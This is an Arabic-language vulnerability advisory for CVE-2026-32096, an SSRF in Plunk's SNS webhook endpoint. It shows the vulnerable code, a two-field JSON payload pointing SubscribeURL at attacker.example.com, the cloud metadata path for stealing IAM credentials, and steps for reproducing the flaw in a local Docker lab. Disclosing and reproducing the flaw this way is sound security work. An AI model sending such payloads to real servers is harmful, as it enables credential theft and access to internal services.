CVE-2026-32096

SSRF عبر SubscriptionConfirmation غير مُتحقق منه في AWS SNS في useplunk/plunk

الملخص

نقطة نهاية Plunk API POST /webhooks/sns تجلب SubscribeURL المقدَّم من المهاجم دون التحقق من التوقيع التشفيري لـ AWS SNS. يمكن لمهاجم غير مُصادَق أن يُجبر الخادم على إجراء طلبات HTTP صادرة عشوائية (SSRF).

الكود القابل للاستغلال

// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
  const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — لا يوجد تحقق من التوقيع
  if (confirmResponse.ok) {
    return res.status(200).json({ success: true, message: 'Subscription confirmed' });
  }
}

الحد الأدنى من الحمولة هو حقلان فقط:

{
  "Type": "SubscriptionConfirmation",
  "SubscribeURL": "http://attacker.example.com/callback"
}

التأثير

• AWS EC2/ECS: سرقة بيانات اعتماد IAM عبر http://169.254.169.254/latest/meta-data/iam/security-credentials/
• الخدمات الداخلية: الوصول إلى قواعد البيانات، Redis، Kubernetes API، أو خدمات أخرى غير معرّضة للإنترنت
• فحص المنافذ: تعداد المنافذ الداخلية عبر الاستجابات المستندة إلى التوقيت والأخطاء

إعادة الإنتاج

المتطلبات الأساسية

• Docker و Docker Compose
• Python 3

الخطوات

1. ابدأ بيئة اختبار Plunk:

   root@kitploit:~

   docker compose up -d
   

2. ابدأ مستمع استدعاء SSRF:

   root@kitploit:~

   python3 listener.py
   

3. شغّل الاستغلال:

   root@kitploit:~

   chmod +x exploit.sh
   ./exploit.sh
   

4. لاحظ وصول الاستدعاء في مخرجات listener.py، مما يؤكد أن الخادم جلب عنوان URL المُتحكَّم به من المهاجم.

الملفات

المراجع

• AWS SNS: التحقق من توقيعات رسائل Amazon SNS
• ورقة الغش الخاصة بمنع SSRF من OWASP